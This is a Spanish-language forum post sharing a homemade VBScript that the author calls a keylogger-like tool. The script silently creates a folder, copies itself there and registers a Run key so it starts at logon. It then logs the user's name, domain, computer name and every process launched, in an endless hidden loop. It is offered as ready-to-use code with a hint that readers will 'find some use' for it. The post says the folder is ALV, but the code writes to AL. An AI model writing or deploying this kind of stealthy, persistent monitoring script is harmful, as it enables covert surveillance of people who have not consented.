Aqui te traigo  traigo un script q yo mismo acabo de crear sirve para ver que aplicaciones se ejecutan en tu PC es una especie de keylogger pero en este caso no guarda las teclas pulsadas lo que guarda es las aplicaciones que se ejecutan    el log se guardara en el disco duro en una carpeta llamada ALV
Al ejecutar el script creara esa carpeta el script se copiara ahi se agregara al registro 

'VBScript By KsV 
On Error Resume Next
Set ws = WScript.CreateObject("Wscript.Shell")
Set fso = createobject("scripting.filesystemobject")
If fso.FileExists("c:\AL\Log.txt") Then
Call mon()
Else
ws.run "cmd /c MKDIR c:\AL\",0
wscript.sleep 2000
fso.copyfile Wscript.ScriptFullName,"C:\AL\Apploger.vbs"
ddd = "C:\AL\AppLoger.vbs"
ws.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Apploger",ddd
Set at = fso.createtextfile("C:\AL\Log.txt",true)
at.WriteLine ".:: Log De Las Aplicaciones Que Se Ejecutan::."
Set objnet = createobject("wscript.network")
at.WriteLine "///////////////////////////////////////////"
at.WriteLine "Nombre De Usuario:: "& objnet.username
at.WriteLine "Dominio: "& objnet.userdomain
at.WriteLine "Nombre De La PC: "& objnet.ComputerName
at.WriteLine "///////////////////////////////////////////"
at.WriteBlankLines(1)
at.close
Call mon()
End If
 
Sub mon()
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colMonitoredProcesses = objWMIService. _        
    ExecNotificationQuery("select * from __instancecreationevent " _ 
        & " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
    Set objLatestProcess = colMonitoredProcesses.NextEvent
    a = objLatestProcess.TargetInstance.name
 
    Set ab = fso.opentextfile("C:\AL\Log.txt",8,true)
 
ab.WriteLine ".::Fecha:: "&Date ()&" Hora:: "&Time ()&" ::."
ab.writeline a
ab.WriteBlankLines(1)
ab.WriteLine "=========================================="
ab.close
Loop
End Sub
 

Espero q te sirva .Algun uso le encontraras